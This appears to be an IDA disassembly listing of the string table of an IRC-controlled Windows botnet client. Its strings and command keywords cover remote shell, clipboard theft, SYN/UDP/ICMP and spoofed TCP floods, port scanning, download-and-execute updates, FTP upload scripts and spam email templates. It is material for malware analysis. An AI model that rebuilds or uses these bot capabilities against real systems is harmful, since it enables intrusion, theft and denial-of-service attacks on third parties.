; char aMainStatusRead[]
aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_409557+4F3Bo
align 4
; char aMainBotIdS_[]
aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_409557+4EFDo
; char aThreadsFaile_0[]
aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0
; DATA XREF: sub_409557+4ED2o
align 10h
; char aThreadsListThr[]
aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: sub_409557+4E67o
align 4
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_409557+4E41o
aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: sub_409557+4DF2o
aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: sub_409557+4DD7o
; char aLogListingLog_[]
aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: sub_409557+4D4Ao
aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: sub_409557+4CC6o
align 4
aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: sub_409557+4C97o
align 4
aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_409557+4C42o
align 4
; char aProcsFailedT_0[]
aProcsFailedT_0 db '[PROCS]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: sub_409557+4C26o
align 4
; char aProcsProccessL[]
aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_409557+4BB1o
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_409557+4B91o
align 4
aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: sub_409557+4B2Fo
align 4
; char aMainUptimeS_[]
aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_409557+4AE1o
; char aCmdRemoteShe_0[]
aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_409557:loc_40DF9Bo
align 4
aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0
; DATA XREF: sub_409557+4A3Do
align 4
aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_409557+4A21o
align 4
aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_409557+4A0Bo
align 4
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_409557+49DDo
align 10h
aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0
; DATA XREF: sub_409557:loc_40DF24o
align 4
; char aFlushdnsArpC_0[]
aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_409557+49B2o
align 4
aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
; DATA XREF: sub_409557:loc_40DEF9o
align 10h
aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0
; DATA XREF: sub_409557:loc_40DEF2o
align 4
aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_409557+4994o
align 4
; char aRlogindFailedT[]
aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_409557+4916o
align 10h
; char aRlogindServerL[]
aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
; DATA XREF: sub_409557+48ABo
aHttpdFailedT_1 db '[HTTPD]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_409557+47E2o
align 10h
aTftpFailedTo_0 db '[TFTP]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_409557+466Co
aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: sub_409557+4544o
align 10h
aScanFailedTo_2 db '[SCAN]: Failed to start scan, port is invalid.',0
; DATA XREF: sub_409557:loc_40DA85o
align 10h
aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_409557+4233o
align 10h
aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
; DATA XREF: sub_409557+421Ao
align 10h
aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
; DATA XREF: sub_409557+41FAo
align 10h
aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_409557+41E1o
align 4
; char aThreadsFailedT[]
aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0
; DATA XREF: sub_409557:loc_40D6BAo
align 10h
aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_409557+415Co
align 10h
aThreadsNoActiv db '[THREADS]: No active threads found.',0
; DATA XREF: sub_409557:loc_40D66Do
aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_409557+410Co
align 4
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_409557+40F2o
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_409557+406Bo
; sub_409557:loc_40E4F0o
align 4
aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
; DATA XREF: sub_409557+3FF3o
align 10h
aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0
; DATA XREF: sub_409557:loc_40D535o
aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_409557+3FD4o
align 4
; char aMainServerChan[]
aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_409557+3FABo
align 10h
; char aDnsCouldnTReso[]
aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0
; DATA XREF: sub_409557:loc_40D4D8o
align 4
; char aDnsLookupSS_[]
aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_409557+3F53o
align 10h
aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0
; DATA XREF: sub_409557:loc_40D476o
aProcProcessK_0 db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_409557+3F15o
align 4
; char aProcFailedToTe[]
aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0
; DATA XREF: sub_409557:loc_40D416o
align 10h
aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_409557+3EB8o
align 10h
aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409557+3E77o
align 4
aFileListS db '[FILE]: List: %s',0 ; DATA XREF: sub_409557+3E61o
align 4
aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: sub_409557:loc_40D39Do
align 4
aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: sub_409557+3E3Co
align 10h
aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: sub_409557+3E0Bo
aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_409557+3E00o
align 4
aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_409557+3DC0o
align 4
; char aMainReadFileCo[]
aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_409557+3DACo
align 4
; char aMainGethostS_[]
aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_409557+3D27o
align 4
; char aMainUnableToEx[]
aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0
; DATA XREF: sub_409557+3CECo
align 10h
; char aMainGethostSCo[]
aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_409557+3CD0o
align 4
; char aMainAliasAdded[]
aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_409557+3C4Eo
align 10h
; char aMainPrivmsgSS_[]
aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_409557+3C13o
align 4
; char aMainActionSS_[]
aMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_409557+3BBDo
aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: sub_409557+3B55o
align 4
; char aPartS_0[]
aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+3B1Bo
; sub_409557+41ECo
align 10h
; char aMainModeChange[]
aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_409557+3AECo
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+3ADEo
align 4
aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_409557+3AB5o
align 4
aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_409557+3A4Ao
align 4
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_409557+39F5o
; char aCloneNickSS[]
aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_409557+39C0o
align 4
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_409557+396Ao
; sub_409557+4035o
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_409557+394Bo
align 4
; char aPartS[]
aPartS db 'PART %s',0 ; DATA XREF: sub_409557+38E1o
aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0
; DATA XREF: sub_409557:loc_40CE25o
align 10h
; char aMainRepeatS[]
aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_409557+3897o
align 4
aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: sub_409557:loc_40CD55o
align 4
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_409557+37BEo
; sub_409557+3871o ...
align 4
; char aUpdateBotIdMus[]
aUpdateBotIdMus db '[UPDATE]: Bot ID must be different than current running process.',0
; DATA XREF: sub_409557:loc_40CC92o
align 4
; char aUpdateFailedTo[]
aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0
; DATA XREF: sub_409557+3725o
; char aUpdateDownload[]
aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_409557+36BAo
align 4
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_409557+3614o
align 4
aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_409557+35B5o
align 4
aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_409557+35AAo
align 4
aFile db '[FILE]:',0 ; DATA XREF: sub_409557:loc_40CA2Co
; sub_409557:loc_40D3D5o
; char aFileRenameSToS[]
aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_409557+34C0o
align 4
aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0
; DATA XREF: sub_409557:loc_40C9F5o
align 4
aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+3494o
align 4
; char aIcmpFloodingSF[]
aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_409557+341Ao
align 4
aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0
; DATA XREF: sub_409557+33A3o
align 4
; char aClonesCreatedO[]
aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0
; DATA XREF: sub_409557+3334o
align 4
; char aDdosFailedToSt[]
aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+32ACo
align 4
; char aDdosFloodingSS[]
aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_409557+3234o
align 4
; char aSynFailedToSta[]
aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+319Fo
align 4
; char aSynFloodingSSF[]
aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_409557+3125o
align 4
aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
; DATA XREF: sub_409557+30B5o
align 4
; char aDownloadDown_1[]
aDownloadDown_1 db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_409557+3046o
aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
; DATA XREF: sub_409557+2F77o
align 4
; char aRedirectTcpRed[]
aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
; DATA XREF: sub_409557+2F08o
; char aScanPortScanSt[]
aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
; DATA XREF: sub_409557+2E0Eo
align 4
aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_409557+2D8Ao
align 4
; char aSSS_1[]
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_409557+2C8Do
align 4
; char dword_42653C
dword_42653C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_409557+2BFFo
; sub_409557+3B9Eo
; char aScanFailedTo_1[]
aScanFailedTo_1 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: sub_409557+2BA0o
; sub_409557+2E7Do ...
align 4
; char aScanSPortScanS[]
aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
; DATA XREF: sub_409557+2B31o
; sub_409557+446Fo
db 'for %d minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_409557+2B06o
; sub_409557+4444o
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_409557+2AFFo
; sub_409557+443Do
align 4
aScanFailedTo_0 db '[SCAN]: Failed to start scan, no IP specified.',0
; DATA XREF: sub_409557+29C1o
align 4
; char aScanAlreadyDSc[]
aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0
; DATA XREF: sub_409557+2878o
; sub_409557+428Co
align 10h
aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+2847o
align 4
; char aUdpSendingDPac[]
aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
; DATA XREF: sub_409557+27D8o
db 0
align 4
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_409557+2711o
align 10h
aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+26FCo
align 4
; char aPingSendingDPi[]
aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
; DATA XREF: sub_409557+2691o
db 0
align 4
aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0
; DATA XREF: sub_409557:loc_40BB4Bo
align 4
aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_409557+25EAo
align 10h
; char aTcpSSFloodingS[]
aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
; DATA XREF: sub_409557+2570o
align 10h
aNormal db 'Normal',0 ; DATA XREF: sub_409557+2560o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_409557+2559o
aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_409557+24C4o
align 4
; char aRandom[]
aRandom db 'random',0 ; DATA XREF: sub_409557+24B4o
; sub_4111FF+312o
align 10h
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_409557+249Do
; sub_4111FF+2F2o
; char aFtpUploading_0[]
aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0
; DATA XREF: sub_409557:loc_40B933o
align 10h
aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_409557+23D5o
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_409557+23BEo
; char aSS_4[]
aSS_4 db '-s:%s',0 ; DATA XREF: sub_409557+23A7o
align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_409557+2387o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char aAb[]
aAb db 'ab',0 ; DATA XREF: sub_409557+2363o
align 4
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_409557+2352o
align 4
; char aFtpFileNotFoun[]
aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_409557+22CCo
align 4
; char aUpload[]
aUpload db 'upload',0 ; DATA XREF: sub_409557+22A9o
align 10h
; char aHcon[]
aHcon db 'hcon',0 ; DATA XREF: sub_409557+2286o
align 4
; char aHttpcon[]
aHttpcon db 'httpcon',0 ; DATA XREF: sub_409557+226Fo
; char aEmailMessageSe[]
aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_409557+222Eo
align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_409557+21BAo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char a_[]
a_: ; DATA XREF: sub_409557+211Eo
unicode 0, <_>,0
; char aEmail[]
aEmail db 'email',0 ; DATA XREF: sub_409557+20CFo
align 4
; char aTcp[]
aTcp db 'tcp',0 ; DATA XREF: sub_409557+20B8o
; char aTcpflood[]
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_409557+20A1o
align 4
; char aP[]
aP: ; DATA XREF: sub_409557+208Ao
unicode 0, <p>,0
; char aPing_1[]
aPing_1 db 'ping',0 ; DATA XREF: sub_409557+2073o
align 4
; char aPingflood[]
aPingflood db 'pingflood',0 ; DATA XREF: sub_409557+205Co
align 10h
; char aU[]
aU: ; DATA XREF: sub_409557+2045o
unicode 0, <u>,0
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_409557+202Eo
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_409557+2017o
align 4
; char aF0f0f0[]
aF0f0f0 db 'f0f0f0',0 ; DATA XREF: sub_409557+2000o
align 4
; char aFofofo[]
aFofofo db 'fofofo',0 ; DATA XREF: sub_409557+1FE9o
align 4
; char aC_a[]
aC_a db 'c_a',0 ; DATA XREF: sub_409557+1FC0o
; char aC_action[]
aC_action db 'c_action',0 ; DATA XREF: sub_409557+1FA9o
align 4
; char aC_pm[]
aC_pm db 'c_pm',0 ; DATA XREF: sub_409557+1F92o
align 4
; char aC_privmsg[]
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_409557+1F7Bo
align 4
; char aSc[]
aSc db 'sc',0 ; DATA XREF: sub_409557+1F64o
align 4
; char aScan_1[]
aScan_1 db 'scan',0 ; DATA XREF: sub_409557+1F4Do
align 4
; char aRd[]
aRd db 'rd',0 ; DATA XREF: sub_409557+1F36o
align 4
; char aRedirect_0[]
aRedirect_0 db 'redirect',0 ; DATA XREF: sub_409557+1F1Fo
align 4
; char aFalehdownl2[]
aFalehdownl2 db 'falehdownl2',0 ; DATA XREF: sub_409557+1F08o
; char aFalehdownl[]
aFalehdownl db 'falehdownl',0 ; DATA XREF: sub_409557+1EF1o
align 4
; char aSyn_0[]
aSyn_0 db 'syn',0 ; DATA XREF: sub_409557+1EDAo
; sub_409557+2485o ...
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_409557+1EC3o
align 4
; char aC[]
aC: ; DATA XREF: sub_409557+1E67o
unicode 0, <c>,0
; char aClone_0[]
aClone_0 db 'clone',0 ; DATA XREF: sub_409557+1E50o
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_409557+1E27o
align 10h
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_409557+1E10o
align 4
; char aMv[]
aMv db 'mv',0 ; DATA XREF: sub_409557+1DF9o
align 10h
; char aRename[]
aRename db 'rename',0 ; DATA XREF: sub_409557+1DE2o
align 4
; char aE[]
aE: ; DATA XREF: sub_409557+1DCBo
unicode 0, <e>,0
; char aExecute[]
aExecute db 'execute',0 ; DATA XREF: sub_409557+1DB4o
; char aUfalehupdp[]
aUfalehupdp db 'ufalehupdp',0 ; DATA XREF: sub_409557+1D9Do
align 10h
; char aFalehupd[]
aFalehupd db 'falehupd',0 ; DATA XREF: sub_409557+1D86o
align 4
; char aDe[]
aDe db 'de',0 ; DATA XREF: sub_409557+1D6Fo
align 10h
; char aDelay[]
aDelay db 'delay',0 ; DATA XREF: sub_409557+1D58o
align 4
; char aRp[]
aRp db 'rp',0 ; DATA XREF: sub_409557+1D41o
align 4
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_409557+1D2Ao
; sub_409557+3846o
align 4
; char aC_p[]
aC_p db 'c_p',0 ; DATA XREF: sub_409557+1D13o
; char aC_part[]
aC_part db 'c_part',0 ; DATA XREF: sub_409557+1CFCo
align 10h
; char aC_j[]
aC_j db 'c_j',0 ; DATA XREF: sub_409557+1CE5o
; char aC_join[]
aC_join db 'c_join',0 ; DATA XREF: sub_409557+1CCEo
align 4
; char aC_n[]
aC_n db 'c_n',0 ; DATA XREF: sub_409557+1CB7o
; char aC_nick[]
aC_nick db 'c_nick',0 ; DATA XREF: sub_409557+1CA0o
align 4
; char aC_m[]
aC_m db 'c_m',0 ; DATA XREF: sub_409557+1C89o
; char aC_mode[]
aC_mode db 'c_mode',0 ; DATA XREF: sub_409557+1C72o
align 4
; char aC_r[]
aC_r db 'c_r',0 ; DATA XREF: sub_409557+1C5Bo
; char aC_raw[]
aC_raw db 'c_raw',0 ; DATA XREF: sub_409557+1C44o
align 10h
; char aM_0[]
aM_0: ; DATA XREF: sub_409557+1C2Do
unicode 0, <m>,0
; char aMode[]
aMode db 'mode',0 ; DATA XREF: sub_409557+1C16o
align 4
; char aCy[]
aCy db 'cy',0 ; DATA XREF: sub_409557+1BFFo
align 10h
; char aCycle[]
aCycle db 'cycle',0 ; DATA XREF: sub_409557+1BE8o
align 4
; char aA_1[]
aA_1: ; DATA XREF: sub_409557+1BD1o
unicode 0, <a>,0
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_409557+1BBAo
align 4
; char aPm_0[]
aPm_0 db 'pm',0 ; DATA XREF: sub_409557+1BA3o
align 4
; char aPrivmsg_0[]
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_409557+1B8Co
; char aAa[]
aAa db 'aa',0 ; DATA XREF: sub_409557+1B75o
align 4
; char aAddalias[]
aAddalias db 'addalias',0 ; DATA XREF: sub_409557+1B5Eo
align 10h
; char aGh[]
aGh db 'gh',0 ; DATA XREF: sub_409557+1B35o
align 4
; char aGethost[]
aGethost db 'gethost',0 ; DATA XREF: sub_409557+1B1Eo
aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: sub_409557:loc_40B068o
aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: sub_409557:loc_40B05Eo
align 4
aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: sub_409557:loc_40B010o
align 10h
aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: sub_409557+1AAFo
aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: sub_409557:loc_40AF6Eo
align 4
aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: sub_409557+1A0Do
align 4
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_409557+19A5o
align 10h
; char aContinue[]
aContinue db 'continue',0 ; DATA XREF: sub_409557+196Fo
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_409557+1957o
align 4
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_409557+193Fo
align 4
aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: sub_409557:loc_40AE8Bo
aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: sub_409557+192Ao
align 4
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_409557+18D9o
align 10h
aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
; DATA XREF: sub_409557+18A6o
; char aNet[]
aNet db 'net',0 ; DATA XREF: sub_409557+1882o
; char aIdentNoThreadF[]
aIdentNoThreadF db '[IDENT]: No thread found.',0 ; DATA XREF: sub_409557:loc_40ADBEo
align 4
aIdentServerSto db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0
; DATA XREF: sub_409557+185Do
align 4
; char aOff[]
aOff db 'off',0 ; DATA XREF: sub_409557+183Ao
aIdentAlreadyRu db '[IDENT]: Already running.',0 ; DATA XREF: sub_409557+17D2o
align 4
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_409557+17B6o
align 4
; char aIdent[]
aIdent db 'ident',0 ; DATA XREF: sub_409557+17A1o
align 4
; char aRf[]
aRf db 'rf',0 ; DATA XREF: sub_409557+178Ao
align 4
; char aReadfile[]
aReadfile db 'readfile',0 ; DATA XREF: sub_409557+1773o
align 4
; char aCm[]
aCm db 'cm',0 ; DATA XREF: sub_409557+175Co
align 4
; char aCmd_0[]
aCmd_0 db 'cmd',0 ; DATA XREF: sub_409557+1745o
; char aMirc[]
aMirc db 'mirc',0 ; DATA XREF: sub_409557+172Eo
align 4
; char aMirccmd[]
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_409557+1717o
; char aLi[]
aLi db 'li',0 ; DATA XREF: sub_409557+1700o
align 10h
; char aList_0[]
aList_0 db 'list',0 ; DATA XREF: sub_409557+16E9o
align 4
; char aDel[]
aDel db 'del',0 ; DATA XREF: sub_409557+16D2o
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_409557+16BBo
; sub_409557+198Ao
align 4
; char aKi[]
aKi db 'ki',0 ; DATA XREF: sub_409557+16A4o
align 4
; char aKill[]
aKill db 'kill',0 ; DATA XREF: sub_409557+168Do
align 10h
; char aKp[]
aKp db 'kp',0 ; DATA XREF: sub_409557+1676o
align 4
; char aKillproc[]
aKillproc db 'killproc',0 ; DATA XREF: sub_409557+165Fo
align 10h
; char aDn[]
aDn db 'dn',0 ; DATA XREF: sub_409557+1648o
align 4
; char aDns[]
aDns db 'dns',0 ; DATA XREF: sub_409557+1631o
; char aS3rv3rfg2[]
aS3rv3rfg2 db 's3rv3rfg2',0 ; DATA XREF: sub_409557+161Ao
align 4
; char aS3rv3rfg[]
aS3rv3rfg db 's3rv3rfg',0 ; DATA XREF: sub_409557+1603o
align 10h
; char aO[]
aO: ; DATA XREF: sub_409557+15ECo
unicode 0, <o>,0
; char aPr[]
aPr db 'pr',0 ; DATA XREF: sub_409557+15BEo
align 4
; char aPrefix[]
aPrefix db 'prefix',0 ; DATA XREF: sub_409557+15A7o
align 10h
; char aC_rn[]
aC_rn db 'c_rn',0 ; DATA XREF: sub_409557+1590o
align 4
; char aC_rndnick[]
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_409557+1579o
align 4
; char aC_q[]
aC_q db 'c_q',0 ; DATA XREF: sub_409557+1562o
; char aC_quit[]
aC_quit db 'c_quit',0 ; DATA XREF: sub_409557+154Bo
align 10h
; char aK[]
aK: ; DATA XREF: sub_409557+1534o
unicode 0, <k>,0
; char aKillthread[]
aKillthread db 'killthread',0 ; DATA XREF: sub_409557+151Do
align 10h
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_409557+14EFo
; char aPt[]
aPt db 'pt',0 ; DATA XREF: sub_409557+14D8o
align 4
; char aPart_0[]
aPart_0 db 'part',0 ; DATA XREF: sub_409557+14C1o
align 10h
; char aJ[]
aJ: ; DATA XREF: sub_409557+14AAo
unicode 0, <j>,0
; char aJoin[]
aJoin db 'join',0 ; DATA XREF: sub_409557+1493o
align 4
; char aN[]
aN: ; DATA XREF: sub_409557+147Co
unicode 0, <n>,0
; char aNick_0[]
aNick_0 db 'nick',0 ; DATA XREF: sub_409557+1465o
align 4
; char aSfofofo2a[]
aSfofofo2a db 'sfofofo2a',0 ; DATA XREF: sub_409557+143Fo
align 4
; char aFofofo2[]
aFofofo2 db 'fofofo2',0 ; DATA XREF: sub_409557+142Ao
; char aTftp_0[]
aTftp_0 db 'tftp',0 ; DATA XREF: sub_409557+1415o
align 4
; char aTftpserver[]
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_409557+1400o
align 10h
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_409557+13EBo
align 4
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_409557+13D6o
align 4
; char aRlogin[]
aRlogin db 'rlogin',0 ; DATA XREF: sub_409557+13C1o
align 4
; char aRloginserver[]
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_409557+13ACo
align 4
; char aCip[]
aCip db 'cip',0 ; DATA XREF: sub_409557+1397o
; char aCurrentip[]
aCurrentip db 'currentip',0 ; DATA XREF: sub_409557+1382o
align 4
; char aFdns[]
aFdns db 'fdns',0 ; DATA XREF: sub_409557+136Do
align 4
; char aFlushdns[]
aFlushdns db 'flushdns',0 ; DATA XREF: sub_409557+1358o
align 10h
; char aFarp[]
aFarp db 'farp',0 ; DATA XREF: sub_409557:loc_40A89Ao
align 4
; char aFlusharp[]
aFlusharp db 'flusharp',0 ; DATA XREF: sub_409557+132Eo
align 4
; char aGc[]
aGc db 'gc',0 ; DATA XREF: sub_409557+1319o
align 4
; char aGetclip[]
